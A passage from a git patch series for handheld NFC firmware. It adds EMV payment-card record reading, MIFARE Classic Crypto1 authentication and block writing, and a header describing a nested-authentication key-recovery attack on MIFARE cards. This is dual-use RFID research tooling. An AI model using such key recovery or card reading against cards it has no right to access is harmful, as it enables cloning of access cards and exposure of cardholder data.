apps[8]; + size_t app_count = emv_extract_aids(fci, fci_len, apps, 8); + if (app_count == 0) return HB_NFC_ERR_PROTOCOL; + + emv_app_t* app = &apps[0]; + if (app_out) *app_out = *app; + + uint8_t fci_app[256]; + size_t fci_app_len = 0; + err = emv_select_aid(proto, ctx, app->aid, app->aid_len, + fci_app, sizeof(fci_app), &fci_app_len, + &sw, timeout_ms); + if (err != HB_NFC_OK) return err; + + uint8_t gpo[256]; + size_t gpo_len = 0; + err = emv_get_processing_options(proto, ctx, + NULL, 0, + gpo, sizeof(gpo), &gpo_len, + &sw, timeout_ms); + if (err != HB_NFC_OK) return err; + + emv_afl_entry_t afl[12]; + size_t afl_count = emv_parse_afl(gpo, gpo_len, afl, 12); + if (afl_count == 0) return HB_NFC_ERR_PROTOCOL; + + return emv_read_records(proto, ctx, afl, afl_count, cb, user, timeout_ms); +} diff --git a/firmware_p4/components/Applications/nfc/protocols/emv/include/emv.h b/firmware_p4/components/Applications/nfc/protocols/emv/include/emv.h new file mode 100644 index 00000000..8ce2cc8f --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/emv/include/emv.h @@ -0,0 +1,82 @@ +/** + * @file emv.h + * @brief EMV contactless helpers (PPSE, AID select, GPO, READ RECORD). + */ +#ifndef EMV_H +#define EMV_H + +#include +#include +#include +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" + +#define EMV_AID_MAX_LEN 16U +#define EMV_APP_LABEL_MAX 16U + +typedef struct { + uint8_t aid[EMV_AID_MAX_LEN]; + uint8_t aid_len; + char label[EMV_APP_LABEL_MAX + 1U]; +} emv_app_t; + +typedef struct { + uint8_t sfi; + uint8_t record_first; + uint8_t record_last; + uint8_t offline_auth_records; +} emv_afl_entry_t; + +typedef void (*emv_record_cb_t)(uint8_t sfi, + uint8_t record, + const uint8_t* data, + size_t len, + void* user); + +hb_nfc_err_t emv_select_ppse(hb_nfc_protocol_t proto, + const void* ctx, + uint8_t* fci, size_t fci_max, size_t* fci_len, + uint16_t* sw, + int timeout_ms); + +size_t emv_extract_aids(const uint8_t* fci, size_t fci_len, + emv_app_t* out, size_t max); + +hb_nfc_err_t emv_select_aid(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* aid, size_t aid_len, + uint8_t* fci, size_t fci_max, size_t* fci_len, + uint16_t* sw, + int timeout_ms); + +hb_nfc_err_t emv_get_processing_options(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* pdol, size_t pdol_len, + uint8_t* gpo, size_t gpo_max, size_t* gpo_len, + uint16_t* sw, + int timeout_ms); + +size_t emv_parse_afl(const uint8_t* gpo, size_t gpo_len, + emv_afl_entry_t* out, size_t max); + +hb_nfc_err_t emv_read_record(hb_nfc_protocol_t proto, + const void* ctx, + uint8_t sfi, + uint8_t record, + uint8_t* out, size_t out_max, size_t* out_len, + uint16_t* sw, + int timeout_ms); + +hb_nfc_err_t emv_read_records(hb_nfc_protocol_t proto, + const void* ctx, + const emv_afl_entry_t* afl, size_t afl_count, + emv_record_cb_t cb, void* user, + int timeout_ms); + +hb_nfc_err_t emv_run_basic(hb_nfc_protocol_t proto, + const void* ctx, + emv_app_t* app_out, + emv_record_cb_t cb, void* user, + int timeout_ms); + +#endif /* EMV_H */ From 2d0baeaf29e4f61416f9ab28fee1cdc3dd9a6ab3 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:15:40 -0300 Subject: [PATCH 38/61] feat(nfc): add MIFARE Classic read/write protocol --- .../mifare/include/mf_classic_writer.h | 165 ++ .../nfc/protocols/mifare/include/mf_nested.h | 74 + .../nfc/protocols/mifare/mifare.c | 1379 +++++++++++++++++ 3 files changed, 1618 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_writer.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_nested.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mifare.c diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_writer.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_writer.h new file mode 100644 index 00000000..b797040b --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic_writer.h @@ -0,0 +1,165 @@ +/** + * @file mf_classic_writer.h + * @brief MIFARE Classic block write with Crypto1 authentication. + * + * Flow to write a data block: + * 1. Reselect (field cycle + REQA + anticoll + SELECT) + * 2. Auth (Crypto1, Key A or B) + * 3. WRITE cmd (0xA0 + block) wait for ACK (0x0A) + * 4. Send 16 data bytes and wait for ACK (0x0A) + * + * WARNING: Never write block 0 (manufacturer) and use extreme care with + * trailers; wrong access bits can lock the sector permanently. + */ +#ifndef MF_CLASSIC_WRITER_H +#define MF_CLASSIC_WRITER_H + +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" +#include "mf_classic.h" + +typedef enum { + MF_WRITE_OK = 0, + MF_WRITE_ERR_RESELECT, + MF_WRITE_ERR_AUTH, + MF_WRITE_ERR_CMD_NACK, + MF_WRITE_ERR_DATA_NACK, + MF_WRITE_ERR_VERIFY, + MF_WRITE_ERR_PROTECTED, + MF_WRITE_ERR_PARAM, +} mf_write_result_t; + +const char* mf_write_result_str(mf_write_result_t r); + +/** + * @brief Access bits (C1/C2/C3) for groups 0..3. + * + * Group 0..3 mapping: + * - Mini/1K: blocks 0,1,2,3 (trailer = group 3) + * - 4K (sectors 32-39): groups 0-2 cover 5 blocks each, + * group 3 is the trailer (block 15). + */ +typedef struct { + uint8_t c1[4]; + uint8_t c2[4]; + uint8_t c3[4]; +} mf_classic_access_bits_t; + +/** + * @brief Write 16 bytes to a block already authenticated (active session). + * + * Call this function IMMEDIATELY after mf_classic_auth(); + * the Crypto1 session must be active. + * + * @param block Absolute block number (Mini: 0-19, 1K: 0-63, 4K: 0-255). + * @param data 16 bytes to write. + * @return MF_WRITE_OK or error code. + */ +mf_write_result_t mf_classic_write_block_raw(uint8_t block, + const uint8_t data[16]); + +/** + * @brief Authenticate and write a data block (full flow). + * + * Runs reselect, auth, write, and optional verify. + * Rejects block 0 and trailers unless allow_special is true. + * + * @param card Card data (UID required for auth). + * @param block Absolute block to write. + * @param data 16 bytes to write. + * @param key 6-byte key. + * @param key_type MF_KEY_A or MF_KEY_B. + * @param verify If true, reads the block after write to confirm. + * @param allow_special If true, allows writing trailers (dangerous!). + * @return mf_write_result_t + */ +mf_write_result_t mf_classic_write(nfc_iso14443a_data_t* card, + uint8_t block, + const uint8_t data[16], + const uint8_t key[6], + mf_key_type_t key_type, + bool verify, + bool allow_special); + +/** + * @brief Write a full sector (data blocks only, excludes trailer). + * + * Iterates over data blocks in the sector (does not write the trailer). + * Uses only ONE reselect + auth per sector (efficient). + * + * @param card Card data. + * @param sector Sector number (Mini: 0-4, 1K: 0-15, 4K: 0-39). + * @param data Buffer with (blocks_in_sector - 1) * 16 bytes. + * For Mini/1K: 3 blocks x 16 = 48 bytes per sector. + * For 4K (sectors 32-39): 15 blocks x 16 = 240 bytes. + * @param key 6-byte key. + * @param key_type MF_KEY_A or MF_KEY_B. + * @param verify Verifies each block after write. + * @return Number of blocks written successfully, or negative on fatal error. + */ +int mf_classic_write_sector(nfc_iso14443a_data_t* card, + uint8_t sector, + const uint8_t* data, + const uint8_t key[6], + mf_key_type_t key_type, + bool verify); + +/** + * @brief Encode access bits (C1/C2/C3) into the 3 trailer bytes. + * + * Generates bytes 6-8 with the correct inversions/parity. + * Returns false if any bit is not 0/1. + */ +bool mf_classic_access_bits_encode(const mf_classic_access_bits_t* ac, + uint8_t out_access_bits[3]); + +/** + * @brief Validate parity/inversions of the 3 access bits bytes. + * + * @param access_bits 3 bytes (bytes 6-8 of the trailer). + * @return true if the bits are consistent. + */ +bool mf_classic_access_bits_valid(const uint8_t access_bits[3]); + +/** + * @brief Build a safe trailer from keys and access bits (C1/C2/C3). + * + * Computes bytes 6-8 automatically and validates inversions. + * + * @param key_a 6 bytes of Key A. + * @param key_b 6 bytes of Key B. + * @param ac Access bits C1/C2/C3 per group (0..3). + * @param gpb General Purpose Byte (byte 9). + * @param out_trailer Output buffer of 16 bytes. + * @return true if the trailer was built successfully. + */ +bool mf_classic_build_trailer_safe(const uint8_t key_a[6], + const uint8_t key_b[6], + const mf_classic_access_bits_t* ac, + uint8_t gpb, + uint8_t out_trailer[16]); + +/** + * @brief Build a trailer from keys and access bits (bytes 6-8). + * + * Does NOT validate parity. Use mf_classic_build_trailer_safe() to build + * and validate the access bits automatically. + * + * @param key_a 6 bytes of Key A. + * @param key_b 6 bytes of Key B. + * @param access_bits 3 bytes of access bits (bytes 6, 7, 8 of trailer). + * Pass NULL to use safe default bits. + * @param out_trailer Output buffer of 16 bytes. + */ +void mf_classic_build_trailer(const uint8_t key_a[6], + const uint8_t key_b[6], + const uint8_t access_bits[3], + uint8_t out_trailer[16]); + +extern const uint8_t MF_ACCESS_BITS_DEFAULT[3]; + +extern const uint8_t MF_ACCESS_BITS_READ_ONLY[3]; + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_nested.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_nested.h new file mode 100644 index 00000000..1c1602ac --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_nested.h @@ -0,0 +1,74 @@ +#ifndef MF_NESTED_H +#define MF_NESTED_H + +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" +#include "mf_classic.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Nested Authentication Attack for MIFARE Classic. + * + * When you already know at least ONE key for any sector, this attack + * recovers keys for sectors where the dictionary failed. + * + * Algorithm: + * 1. Authenticate to a known sector (sector_src, key_src). + * 2. While still in the Crypto1 session, send AUTH to the target sector. + * The card responds with nt_target ENCRYPTED by the current Crypto1 stream. + * 3. Decrypt nt_target using the known keystream state. + * 4. Repeat to collect multiple (nt, nr, ar) pairs on the wire. + * 5. Use mfkey32 to recover the target key from two wire-level auth traces. + * + * Works best on cards with static or weak PRNG (most clones / Gen1a / Gen2). + * Falls back to dictionary check with known nt for all card types. + */ + +/* Result from one nested auth probe. */ +typedef struct { + uint32_t nt; /* decrypted target nonce (plaintext) */ + uint32_t nr_enc; /* encrypted reader nonce (as sent on wire) */ + uint32_t ar_enc; /* encrypted reader response (as sent on wire) */ +} mf_nested_sample_t; + +/* + * Collect one nested auth sample to target_block. + * Requires that mf_classic_auth(src_block, src_key_type, src_key, uid) was + * called successfully JUST BEFORE this function (Crypto1 must be active). + * + * Returns HB_NFC_OK and fills *sample on success. + */ +hb_nfc_err_t mf_nested_collect_sample(uint8_t target_block, + const uint8_t uid[4], + uint32_t nr_chosen, + mf_nested_sample_t* sample); + +/* + * Full nested attack: + * - Authenticates to src_sector with src_key + * - Collects MF_NESTED_SAMPLE_COUNT samples to target_sector + * - Runs mfkey32 on pairs + * - Verifies recovered key by real auth + * + * Returns HB_NFC_OK and fills found_key on success. + */ +#define MF_NESTED_SAMPLE_COUNT 8 +#define MF_NESTED_MAX_ATTEMPTS 32 + +hb_nfc_err_t mf_nested_attack(nfc_iso14443a_data_t* card, + uint8_t src_sector, + const mf_classic_key_t* src_key, + mf_key_type_t src_key_type, + uint8_t target_sector, + mf_classic_key_t* found_key_out, + mf_key_type_t* found_key_type_out); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mifare.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mifare.c new file mode 100644 index 00000000..0821ecd9 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mifare.c @@ -0,0 +1,1379 @@ + +#include "crypto1.h" + +#define SWAPENDIAN(x) \ + ((x) = ((x) >> 8 & 0xff00ffU) | ((x) & 0xff00ffU) << 8, \ + (x) = (x) >> 16 | (x) << 16) + +#define BIT(x, n) (((x) >> (n)) & 1U) +#define BEBIT(x, n) BIT((x), (n) ^ 24) + +#define LF_POLY_ODD (0x29CE5CU) +#define LF_POLY_EVEN (0x870804U) + +static const uint8_t s_odd_parity_table[256] = { + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 +}; + +uint8_t crypto1_odd_parity8(uint8_t data) +{ + return s_odd_parity_table[data]; +} + +uint8_t crypto1_even_parity32(uint32_t data) +{ + data ^= data >> 16; + data ^= data >> 8; + return (uint8_t)(!s_odd_parity_table[data & 0xFF]); +} + +static uint32_t crypto1_filter(uint32_t in) +{ + uint32_t out = 0; + out = 0xf22c0U >> (in & 0xfU) & 16U; + out |= 0x6c9c0U >> (in >> 4 & 0xfU) & 8U; + out |= 0x3c8b0U >> (in >> 8 & 0xfU) & 4U; + out |= 0x1e458U >> (in >> 12 & 0xfU) & 2U; + out |= 0x0d938U >> (in >> 16 & 0xfU) & 1U; + return BIT(0xEC57E80AU, out); +} + +void crypto1_init(crypto1_state_t *s, uint64_t key) +{ + s->even = 0; + s->odd = 0; + for (int8_t i = 47; i > 0; i -= 2) { + s->odd = s->odd << 1 | BIT(key, (unsigned)((i - 1) ^ 7)); + s->even = s->even << 1 | BIT(key, (unsigned)(i ^ 7)); + } +} + +void crypto1_reset(crypto1_state_t *s) +{ + s->odd = 0; + s->even = 0; +} + +uint8_t crypto1_bit(crypto1_state_t *s, uint8_t in, int is_encrypted) +{ + uint8_t out = (uint8_t)crypto1_filter(s->odd); + uint32_t feed = out & (uint32_t)(!!is_encrypted); + feed ^= (uint32_t)(!!in); + feed ^= LF_POLY_ODD & s->odd; + feed ^= LF_POLY_EVEN & s->even; + s->even = s->even << 1 | crypto1_even_parity32(feed); + + uint32_t tmp = s->odd; + s->odd = s->even; + s->even = tmp; + + return out; +} + +uint8_t crypto1_byte(crypto1_state_t *s, uint8_t in, int is_encrypted) +{ + uint8_t out = 0; + for (uint8_t i = 0; i < 8; i++) { + out |= (uint8_t)(crypto1_bit(s, BIT(in, i), is_encrypted) << i); + } + return out; +} + +/** + * crypto1_word clock 32 bits in BEBIT order. + * + * BEBIT(x, i) = bit ((i) ^ 24) of x. + * This processes bytes in MSB-first order but bits within each byte LSB-first. + * Output uses the same byte-swapped convention (<< (24 ^ i)). + * + * This is identical to the Flipper Zero / proxmark3 implementation. + */ +uint32_t crypto1_word(crypto1_state_t *s, uint32_t in, int is_encrypted) +{ + uint32_t out = 0; + for (uint8_t i = 0; i < 32; i++) { + out |= (uint32_t)crypto1_bit(s, BEBIT(in, i), is_encrypted) << (24 ^ i); + } + return out; +} + +/** + * crypto1_filter_output read keystream bit WITHOUT advancing LFSR. + * + * Used for encrypted parity: after clocking 8 data bits with crypto1_byte, + * call this to get the parity keystream bit without disturbing the LFSR state. + * This matches how the Flipper Zero handles parity in crypto1_encrypt(). + */ +uint8_t crypto1_filter_output(crypto1_state_t *s) +{ + return (uint8_t)crypto1_filter(s->odd); +} + +/** + * prng_successor MIFARE Classic card PRNG. + * + * CRITICAL: SWAPENDIAN before and after computation! + * The Flipper Zero does this and without it the ar/at values are wrong. + * + * Input/output are in big-endian (wire) byte order. + */ +uint32_t crypto1_prng_successor(uint32_t x, uint32_t n) +{ + SWAPENDIAN(x); + while (n--) + x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + return SWAPENDIAN(x); +} + +#undef SWAPENDIAN +#undef BIT +#undef BEBIT +#undef LF_POLY_ODD +#undef LF_POLY_EVEN + +/* + * BUGS FIXED (compared to previous version): + * + * 1. CRYPTO1 LFSR REPRESENTATION + * Old: single uint64_t state custom filter using fa/fb with specific bit indices. + * New: split odd/even uint32_t compact proxmark3 filter lookup tables. + * (Both should produce the same keystream if correct, but the old implementation + * had subtle index mapping differences.) + * + * 2. crypto1_word BIT ORDERING + * Old: processed bits 0..31 linearly (plain LSB-first). + * New: uses BEBIT(x, i) = bit((i)^24) byte-swapped order matching proxmark3. + * Impact: priming step (uid XOR nt) fed bits in wrong order entire keystream wrong. + * + * 3. prng_successor MISSING SWAPENDIAN + * Old: no byte swap before/after PRNG computation. + * New: SWAPENDIAN(x) before and after, matching Flipper/proxmark3. + * Impact: ar and at values completely wrong card rejects authentication. + * + * 4. AUTH ar: LFSR FED PLAINTEXT INSTEAD OF 0 + * Old: mf_classic_transceive_raw encrypted nr+ar together, feeding all plaintext bits. + * New: nr is fed as plaintext (correct), ar is encrypted with LFSR free-running (feed 0). + * Impact: LFSR desynced after nr ar ciphertext wrong card rejects auth. + * + * 5. AUTH at EXPECTED VALUE COMPUTED FROM nr + * Old: at_expected = prng_successor(nr, 64) WRONG! + * New: at_expected = prng_successor(nt, 96) correct per MF Classic protocol. + * Impact: valid card responses were flagged as auth failures. + * + * 6. PARITY BIT ADVANCED THE LFSR + * Old: crypto1_bit(st, parity, 0) clocked the LFSR 9 per byte. + * New: crypto1_filter_output() reads the 9th keystream bit WITHOUT advancing. + * LFSR clocks exactly 8 per byte (only for data bits). + * Impact: after the first byte, the keystream was off by 1 bit per byte, + * accumulating all subsequent data was garbage. + * + * 7. ENCRYPTED EXCHANGE FED PLAINTEXT INTO LFSR + * Old: RX decrypt used crypto1_bit(st, enc, 1) which feeds the ciphertext into LFSR. + * New: RX decrypt uses crypto1_byte(st, 0, 0) ciphertext free-running LFSR. + * Impact: data exchange LFSR state diverged from card all block reads failed. + */ +#include "mf_classic.h" + +#include + +#include "crypto1.h" +#include "iso14443a.h" +#include "nfc_poller.h" +#include "nfc_common.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "st25r3916_reg.h" +#include "hb_nfc_spi.h" + +#include "esp_log.h" + +#define TAG TAG_MF_CLASSIC +static const char* TAG = "mf_cl"; + +#define ISOA_NO_TX_PAR (1U << 7) +#define ISOA_NO_RX_PAR (1U << 6) + +static crypto1_state_t s_crypto; +static bool s_auth = false; +static uint32_t s_last_nt = 0; +static mf_write_phase_t s_last_write_phase = MF_WRITE_PHASE_NONE; + +static inline void bit_set(uint8_t* buf, size_t bitpos, uint8_t v) +{ + if (v) buf[bitpos >> 3] |= (uint8_t)(1U << (bitpos & 7U)); + else buf[bitpos >> 3] &= (uint8_t)~(1U << (bitpos & 7U)); +} + +static inline uint8_t bit_get(const uint8_t* buf, size_t bitpos) +{ + return (uint8_t)((buf[bitpos >> 3] >> (bitpos & 7U)) & 1U); +} + +static inline uint32_t bytes_to_num_be(const uint8_t b[4]) +{ + return ((uint32_t)b[0] << 24) | ((uint32_t)b[1] << 16) | + ((uint32_t)b[2] << 8) | (uint32_t)b[3]; +} + +static inline uint32_t bytes_to_num_le(const uint8_t b[4]) +{ + return (uint32_t)b[0] | ((uint32_t)b[1] << 8) | + ((uint32_t)b[2] << 16) | ((uint32_t)b[3] << 24); +} + +static inline uint64_t key_to_u64_be(const mf_classic_key_t* key) +{ + uint64_t k = 0; + for (int i = 0; i < 6; i++) { + k = (k << 8) | key->data[i]; + } + return k; +} + +static uint32_t s_nr_state = 0xA5A5A5A5U; + +static uint32_t mf_rand32(void) +{ + uint32_t x = s_nr_state; + x ^= x << 13; + x ^= x >> 17; + x ^= x << 5; + if (x == 0) x = 1U; + s_nr_state = x; + return x; +} + +void mf_classic_reset_auth(void) +{ + s_auth = false; +} + +static hb_nfc_err_t mf_classic_transceive_encrypted( + crypto1_state_t* st, + const uint8_t* tx, size_t tx_len, + uint8_t* rx, size_t rx_len, + int timeout_ms) +{ + if (!st || !tx || tx_len == 0 || !rx || rx_len == 0) + return HB_NFC_ERR_PARAM; + + const size_t tx_bits = tx_len * 9; + const size_t rx_bits = rx_len * 9; + const size_t tx_bytes = (tx_bits + 7U) / 8U; + const size_t rx_bytes = (rx_bits + 7U) / 8U; + if (tx_bytes > 32 || rx_bytes > 32) + return HB_NFC_ERR_PARAM; + + uint8_t tx_buf[32] = { 0 }; + uint8_t rx_buf[32] = { 0 }; + + size_t bitpos = 0; + for (size_t i = 0; i < tx_len; i++) { + uint8_t plain = tx[i]; + uint8_t ks = crypto1_byte(st, 0, 0); + uint8_t enc = plain ^ ks; + + for (int bit = 0; bit < 8; bit++) { + bit_set(tx_buf, bitpos++, (enc >> bit) & 1U); + } + + uint8_t par_ks = crypto1_filter_output(st); + uint8_t par = crypto1_odd_parity8(plain) ^ par_ks; + bit_set(tx_buf, bitpos++, par); + } + + uint8_t iso = 0; + hb_spi_reg_read(REG_ISO14443A, &iso); + hb_spi_reg_write(REG_ISO14443A, (uint8_t)(iso | ISOA_NO_TX_PAR | ISOA_NO_RX_PAR)); + + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)(tx_bits / 8U), (uint8_t)(tx_bits % 8U)); + st25r_fifo_load(tx_buf, tx_bytes); + hb_spi_direct_cmd(CMD_TX_WO_CRC); + + if (!st25r_irq_wait_txe()) { + hb_spi_reg_write(REG_ISO14443A, iso); + return HB_NFC_ERR_TX_TIMEOUT; + } + + uint16_t count = 0; + (void)st25r_fifo_wait(rx_bytes, timeout_ms, &count); + if (count < rx_bytes) { + if (count > 0) { + size_t to_read = (count < rx_bytes) ? count : rx_bytes; + st25r_fifo_read(rx_buf, to_read); + nfc_log_hex(" MF RX partial:", rx_buf, to_read); + } + hb_spi_reg_write(REG_ISO14443A, iso); + return HB_NFC_ERR_TIMEOUT; + } + + st25r_fifo_read(rx_buf, rx_bytes); + hb_spi_reg_write(REG_ISO14443A, iso); + + bitpos = 0; + for (size_t i = 0; i < rx_len; i++) { + uint8_t enc_byte = 0; + for (int bit = 0; bit < 8; bit++) { + enc_byte |= (uint8_t)(bit_get(rx_buf, bitpos++) << bit); + } + + uint8_t ks = crypto1_byte(st, 0, 0); + uint8_t plain = enc_byte ^ ks; + + uint8_t enc_par = bit_get(rx_buf, bitpos++); + uint8_t par_ks = crypto1_filter_output(st); + uint8_t dec_par = enc_par ^ par_ks; + if (dec_par != crypto1_odd_parity8(plain)) { + ESP_LOGW(TAG, "Parity error byte %u: got %u exp %u", + (unsigned)i, dec_par, crypto1_odd_parity8(plain)); + return HB_NFC_ERR_PROTOCOL; + } + + rx[i] = plain; + } + + return HB_NFC_OK; +} + +static hb_nfc_err_t mf_classic_tx_encrypted_with_ack( + crypto1_state_t* st, + const uint8_t* tx, size_t tx_len, + uint8_t* ack_nibble, + int timeout_ms) +{ + if (!st || !tx || tx_len == 0) return HB_NFC_ERR_PARAM; + + const size_t tx_bits = tx_len * 9; + const size_t tx_bytes = (tx_bits + 7U) / 8U; + if (tx_bytes > 32) return HB_NFC_ERR_PARAM; + + uint8_t tx_buf[32] = { 0 }; + + size_t bitpos = 0; + for (size_t i = 0; i < tx_len; i++) { + uint8_t plain = tx[i]; + uint8_t ks = crypto1_byte(st, 0, 0); + uint8_t enc = plain ^ ks; + + for (int bit = 0; bit < 8; bit++) { + bit_set(tx_buf, bitpos++, (enc >> bit) & 1U); + } + + uint8_t par_ks = crypto1_filter_output(st); + uint8_t par = crypto1_odd_parity8(plain) ^ par_ks; + bit_set(tx_buf, bitpos++, par); + } + + uint8_t iso = 0; + hb_spi_reg_read(REG_ISO14443A, &iso); + hb_spi_reg_write(REG_ISO14443A, (uint8_t)(iso | ISOA_NO_TX_PAR | ISOA_NO_RX_PAR)); + + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)(tx_bits / 8U), (uint8_t)(tx_bits % 8U)); + st25r_fifo_load(tx_buf, tx_bytes); + hb_spi_direct_cmd(CMD_TX_WO_CRC); + + if (!st25r_irq_wait_txe()) { + hb_spi_reg_write(REG_ISO14443A, iso); + return HB_NFC_ERR_TX_TIMEOUT; + } + + uint16_t count = 0; + (void)st25r_fifo_wait(1, timeout_ms, &count); + if (count < 1) { + hb_spi_reg_write(REG_ISO14443A, iso); + return HB_NFC_ERR_TIMEOUT; + } + + uint8_t enc_ack = 0; + st25r_fifo_read(&enc_ack, 1); + hb_spi_reg_write(REG_ISO14443A, iso); + + uint8_t plain_ack = 0; + for (int i = 0; i < 4; i++) { + uint8_t ks_bit = crypto1_bit(st, 0, 0); + uint8_t enc_bit = (enc_ack >> i) & 1U; + plain_ack |= (uint8_t)((enc_bit ^ ks_bit) << i); + } + + if (ack_nibble) *ack_nibble = (uint8_t)(plain_ack & 0x0F); + return HB_NFC_OK; +} + +hb_nfc_err_t mf_classic_auth(uint8_t block, mf_key_type_t key_type, + const mf_classic_key_t* key, + const uint8_t uid[4]) +{ + if (!key || !uid) return HB_NFC_ERR_PARAM; + s_auth = false; + + uint8_t cmd[2] = { (uint8_t)key_type, block }; + uint8_t nt_raw[4] = { 0 }; + int len = nfc_poller_transceive(cmd, 2, true, nt_raw, sizeof(nt_raw), 4, 20); + if (len < 4) { + ESP_LOGW(TAG, "Auth: no nonce (len=%d)", len); + return HB_NFC_ERR_AUTH; + } + nfc_log_hex(" Auth nt:", nt_raw, 4); + + uint64_t k48 = key_to_u64_be(key); + uint32_t cuid = bytes_to_num_be(uid); + uint32_t nt_be = bytes_to_num_be(nt_raw); + s_last_nt = nt_be; + + crypto1_init(&s_crypto, k48); + crypto1_word(&s_crypto, nt_be ^ cuid, 0); + + uint8_t nr[4]; + uint32_t nr32 = mf_rand32(); + nr[0] = (uint8_t)((nr32 >> 24) & 0xFF); + nr[1] = (uint8_t)((nr32 >> 16) & 0xFF); + nr[2] = (uint8_t)((nr32 >> 8) & 0xFF); + nr[3] = (uint8_t)( nr32 & 0xFF); + + uint8_t tx_buf[32] = { 0 }; + size_t bitpos = 0; + + for (int i = 0; i < 4; i++) { + uint8_t ks = crypto1_byte(&s_crypto, nr[i], 0); + uint8_t enc = ks ^ nr[i]; + + for (int bit = 0; bit < 8; bit++) { + bit_set(tx_buf, bitpos++, (enc >> bit) & 1U); + } + + uint8_t par_ks = crypto1_filter_output(&s_crypto); + uint8_t par = crypto1_odd_parity8(nr[i]) ^ par_ks; + bit_set(tx_buf, bitpos++, par); + } + + uint32_t nt_succ = crypto1_prng_successor(nt_be, 32); + for (int i = 0; i < 4; i++) { + nt_succ = crypto1_prng_successor(nt_succ, 8); + uint8_t ar_byte = (uint8_t)(nt_succ & 0xFF); + + uint8_t ks = crypto1_byte(&s_crypto, 0, 0); + uint8_t enc = ks ^ ar_byte; + + for (int bit = 0; bit < 8; bit++) { + bit_set(tx_buf, bitpos++, (enc >> bit) & 1U); + } + + uint8_t par_ks = crypto1_filter_output(&s_crypto); + uint8_t par = crypto1_odd_parity8(ar_byte) ^ par_ks; + bit_set(tx_buf, bitpos++, par); + } + + const size_t tx_total_bits = 8 * 9; + const size_t tx_total_bytes = (tx_total_bits + 7U) / 8U; + const size_t rx_total_bits = 4 * 9; + const size_t rx_total_bytes = (rx_total_bits + 7U) / 8U; + + uint8_t rx_buf[32] = { 0 }; + + uint8_t iso = 0; + hb_spi_reg_read(REG_ISO14443A, &iso); + hb_spi_reg_write(REG_ISO14443A, (uint8_t)(iso | ISOA_NO_TX_PAR | ISOA_NO_RX_PAR)); + + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)(tx_total_bits / 8U), (uint8_t)(tx_total_bits % 8U)); + st25r_fifo_load(tx_buf, tx_total_bytes); + hb_spi_direct_cmd(CMD_TX_WO_CRC); + + if (!st25r_irq_wait_txe()) { + hb_spi_reg_write(REG_ISO14443A, iso); + ESP_LOGW(TAG, "Auth: TX timeout"); + return HB_NFC_ERR_TX_TIMEOUT; + } + + uint16_t count = 0; + (void)st25r_fifo_wait(rx_total_bytes, 20, &count); + if (count < rx_total_bytes) { + hb_spi_reg_write(REG_ISO14443A, iso); + ESP_LOGW(TAG, "Auth: RX timeout (got %u need %u)", count, (unsigned)rx_total_bytes); + return HB_NFC_ERR_TIMEOUT; + } + + st25r_fifo_read(rx_buf, rx_total_bytes); + hb_spi_reg_write(REG_ISO14443A, iso); + + uint8_t at_dec[4] = { 0 }; + bitpos = 0; + for (int i = 0; i < 4; i++) { + uint8_t enc_byte = 0; + for (int bit = 0; bit < 8; bit++) { + enc_byte |= (uint8_t)(bit_get(rx_buf, bitpos++) << bit); + } + uint8_t ks = crypto1_byte(&s_crypto, 0, 0); + at_dec[i] = enc_byte ^ ks; + bitpos++; + } + + nfc_log_hex(" Auth at_dec:", at_dec, 4); + + s_auth = 